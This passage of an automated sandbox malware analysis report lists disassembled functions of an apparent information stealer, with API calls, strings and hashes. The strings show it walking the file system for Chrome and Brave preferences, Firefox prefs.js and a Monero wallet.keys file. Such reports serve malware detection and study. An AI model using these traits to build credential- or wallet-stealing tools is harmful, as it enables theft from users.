Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 4457c7ccdd77a548dea6bcb03aff6c06d2b6f9c4574517f70cce42385ad7e56f
Instruction ID: eb3bcdae0a022a120b09685673cd1bc2d7804caa9997727199a3cbffc4fed535
Opcode Fuzzy Hash: 4457c7ccdd77a548dea6bcb03aff6c06d2b6f9c4574517f70cce42385ad7e56f
Instruction Fuzzy Hash: DD4243B19101089BCB14FB64DC56EFE7379EF44300F418558FA0E96195EE74AB49CBB2

Function 00DF4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00DF492C
FindFirstFileA.KERNEL32(?,?), ref: 00DF4943
StrCmpCA.SHLWAPI(?,00E00FDC), ref: 00DF4971
StrCmpCA.SHLWAPI(?,00E00FE0), ref: 00DF4987
FindNextFileA.KERNEL32(000000FF,?), ref: 00DF4B7D
FindClose.KERNEL32(000000FF), ref: 00DF4B92

Strings

%s\%s, xrefs: 00DF49A4
%s\*, xrefs: 00DF4920
%s\%s, xrefs: 00DF49FB

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 380095d4a5dbc04a29b275ca1f286f20f4c62eb3ae7b897dddab061f427a95b0
Instruction ID: 339d44da82cef558c8e10f6d5863ea18bb12036d7335520e5a9c0009a4c74efe
Opcode Fuzzy Hash: 380095d4a5dbc04a29b275ca1f286f20f4c62eb3ae7b897dddab061f427a95b0
Instruction Fuzzy Hash: 136123B5600219ABCB34EFA0DC45FFA7378BB48700F048588E64A96145EF75DB858FA1

Function 00DF4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00DF4580
RtlAllocateHeap.NTDLL(00000000), ref: 00DF4587
wsprintfA.USER32 ref: 00DF45A6
FindFirstFileA.KERNEL32(?,?), ref: 00DF45BD
StrCmpCA.SHLWAPI(?,00E00FC4), ref: 00DF45EB
StrCmpCA.SHLWAPI(?,00E00FC8), ref: 00DF4601
FindNextFileA.KERNEL32(000000FF,?), ref: 00DF468B
FindClose.KERNEL32(000000FF), ref: 00DF46A0
lstrcat.KERNEL32(?,0197F168), ref: 00DF46C5
lstrcat.KERNEL32(?,0197D130), ref: 00DF46D8
lstrlen.KERNEL32(?), ref: 00DF46E5
lstrlen.KERNEL32(?), ref: 00DF46F6

Strings

%s\%s, xrefs: 00DF461B
%s\*, xrefs: 00DF459A

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 14f02d25dfa0eb84993d2f095c318582f8ab19344154ba1c993c61b0dddf7f2e
Instruction ID: bf4c2445f627a5dd8345e98d77664f5aeb5024504d2b6fc93d951e502e36dea7
Opcode Fuzzy Hash: 14f02d25dfa0eb84993d2f095c318582f8ab19344154ba1c993c61b0dddf7f2e
Instruction Fuzzy Hash: EC5123B56002189BCB74EF70DC89FEE7378AB58300F408598E64A96184EF75DA848FB1

Function 00DF3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00DF3EC3
FindFirstFileA.KERNEL32(?,?), ref: 00DF3EDA
StrCmpCA.SHLWAPI(?,00E00FAC), ref: 00DF3F08
StrCmpCA.SHLWAPI(?,00E00FB0), ref: 00DF3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00DF406C
FindClose.KERNEL32(000000FF), ref: 00DF4081

Strings

%s\%s, xrefs: 00DF3EB7

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: e8520b4b8f4837c8cb3ada460dbeb4ebe3c79c894f8b8331a47ee5a618d61eeb
Instruction ID: 2c512ea902ea89844b1e84b1cf480036bb931db533f3a7c04085db185045886c
Opcode Fuzzy Hash: e8520b4b8f4837c8cb3ada460dbeb4ebe3c79c894f8b8331a47ee5a618d61eeb
Instruction Fuzzy Hash: 24510FB6A00219ABCB34EBA0DC85EFA7378BB44300F548588F75996044DE75EB858F71

Function 00DEED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00DEED3E
FindFirstFileA.KERNEL32(?,?), ref: 00DEED55
StrCmpCA.SHLWAPI(?,00E01538), ref: 00DEEDAB
StrCmpCA.SHLWAPI(?,00E0153C), ref: 00DEEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00DEF2AE
FindClose.KERNEL32(000000FF), ref: 00DEF2C3

Strings

%s\*.*, xrefs: 00DEED32

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: a2fbf02b856bdcb9171906bbdd39cbc8d372ae890657982c64cce3e087f5df3b
Instruction ID: 71b2db4655cba358bf1d4ebcbb55f5ba147223b21216aa91ceb102cf5cd7107e
Opcode Fuzzy Hash: a2fbf02b856bdcb9171906bbdd39cbc8d372ae890657982c64cce3e087f5df3b
Instruction Fuzzy Hash: CFE10FB191111C9ADB24FB64CC52EFE7338EF54340F4581A9B60E66096EE706B8ACF71

Function 00DEF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00E015B8,00E00D96), ref: 00DEF71E
StrCmpCA.SHLWAPI(?,00E015BC), ref: 00DEF76F
StrCmpCA.SHLWAPI(?,00E015C0), ref: 00DEF785
FindNextFileA.KERNEL32(000000FF,?), ref: 00DEFAB1
FindClose.KERNEL32(000000FF), ref: 00DEFAC3

Strings

prefs.js, xrefs: 00DEF812

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 510cc5aec4019a64ab1a5c43cb20a3cd950a5faf1e5969ab966134be55378e64
Instruction ID: b4b45876fc47bef5d8aad456dfd2339c5e6b95d1847a2a80951bbe4b2c223884
Opcode Fuzzy Hash: 510cc5aec4019a64ab1a5c43cb20a3cd950a5faf1e5969ab966134be55378e64
Instruction Fuzzy Hash: A2B131B19001189BCB24FF64DC95AFD7379EF54300F41C1A8A50E9A185EE706B49CBB1

Function 00DE16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00E0510C,?,?,?,00E051B4,?,?,00000000,?,00000000), ref: 00DE1923
StrCmpCA.SHLWAPI(?,00E0525C), ref: 00DE1973
StrCmpCA.SHLWAPI(?,00E05304), ref: 00DE1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00DE1D40
DeleteFileA.KERNEL32(00000000), ref: 00DE1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00DE1E20
FindClose.KERNEL32(000000FF), ref: 00DE1E32

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Strings

\*.*, xrefs: 00DE17F1

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 982d35051947c182fc0cb814baf96276e9814ac73be09fe8e8c82d211706fce8
Instruction ID: c46180d4676962ebe346c86c4c92947ff804344e076e73af1ef532fc7e9f4c6d
Opcode Fuzzy Hash: 982d35051947c182fc0cb814baf96276e9814ac73be09fe8e8c82d211706fce8
Instruction Fuzzy Hash: 5612FBB191011C9ACB15FB64CC96AFE7378EF54340F4581A9A60E66091EF706F89CFB1

Function 00DEDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00E00C2E), ref: 00DEDE5E
StrCmpCA.SHLWAPI(?,00E014C8), ref: 00DEDEAE
StrCmpCA.SHLWAPI(?,00E014CC), ref: 00DEDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00DEE3E0
FindClose.KERNEL32(000000FF), ref: 00DEE3F2

Strings

\*.*, xrefs: 00DEDE26

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: c997866e808f1e9350298de319211b44953c27662ce2057ae87e2b42c7fa0ad6
Instruction ID: 776fec258f9195a11cb7f4d3ecbbe8e61c86cc9f27cef1966d55fcdfef305382
Opcode Fuzzy Hash: c997866e808f1e9350298de319211b44953c27662ce2057ae87e2b42c7fa0ad6
Instruction Fuzzy Hash: 03F1CEB191012C9ACB25FB64CC95AFE7338EF14340F8581E9A50E66095EF706B89CF71

Function 00DEDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00E014B0,00E00C2A), ref: 00DEDAEB
StrCmpCA.SHLWAPI(?,00E014B4), ref: 00DEDB33
StrCmpCA.SHLWAPI(?,00E014B8), ref: 00DEDB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00DEDDCC
FindClose.KERNEL32(000000FF), ref: 00DEDDDE

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 1933c7bd46935d337dd3ce7b6e7a626794bd32cd3bf5f6a4f7193d5396bc1aa3
Instruction ID: ed6aa1e9f34d9809eb4dc882e21a7f5dad8716b5b7646231b2bfd773e1a64d4e
Opcode Fuzzy Hash: 1933c7bd46935d337dd3ce7b6e7a626794bd32cd3bf5f6a4f7193d5396bc1aa3
Instruction Fuzzy Hash: E19130B2A0020897CB14FB74DC969FD737DEF84340F41C568F95A96185EE74AB098BB2

Function 011BD3B4 Relevance: 11.6, Strings: 8, Instructions: 1594COMMON

Download Yara Rule

Strings

7ys|, xrefs: 011BDEA8
Z^Wm, xrefs: 011BD56E
CCk~, xrefs: 011BE3A9
7}, xrefs: 011BD82A
nmmw, xrefs: 011BDB42
qEt, xrefs: 011BE441
FCb, xrefs: 011BE128
?e, xrefs: 011BDBBC

Memory Dump Source

Source File: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 7ys|$CCk~$FCb$Z^Wm$nmmw$qEt$7}$?e
API String ID: 0-791327716
Opcode ID: 0c4eb566d9e3aa06898df657b0d8f6aedf91c9d9464b1b3cc9e9e77677731155
Instruction ID: 9883fe80a71cefc74388d2fb26f2a73dc7196e6682d4bd575437a7cdc81fd083
Opcode Fuzzy Hash: 0c4eb566d9e3aa06898df657b0d8f6aedf91c9d9464b1b3cc9e9e77677731155
Instruction Fuzzy Hash: 87B206F360C6049FE3046E29EC8567ABBE5EF94320F1A493DE6C4C3744EA3598458797

Function 00DF7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

